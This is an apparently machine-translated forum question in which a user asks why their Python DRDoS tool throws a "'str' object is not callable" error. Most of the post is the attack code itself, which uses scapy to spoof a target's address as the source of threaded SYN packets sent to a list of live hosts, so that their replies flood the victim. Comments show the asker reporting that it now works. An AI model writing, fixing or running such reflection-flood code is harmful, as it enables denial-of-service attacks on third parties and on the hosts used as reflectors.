1
我试图让Python中的DRDOS程序,但我不断收到Python的类型错误:“海峡”对象不是可调用
TypeError: 'str' object is not callable
这里是我的代码
import os
import sys
import threading
from scapy.all import *
from time import sleep
if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)
list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))
print "Flooding, press ^Z to stop."
class SYNFlood(threading.Thread):
def run(self):
c=0
with open(list, "r") as f:
IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
send(a, verbose=0)
sys.stdout.write('.')
c=c+1
print "Done, sent " + str(c) + " packets."
exit(0)
for x in range(10):
t = SYNFlood()
t.start()
我做了一些研究并发现这是来自一个名称为'str'的变量,我没有找到它。有趣。
它的工作,谢谢! – D4zk1tty
@ D4zk1tty,那么你应该把问题标记为已解决。 – astreal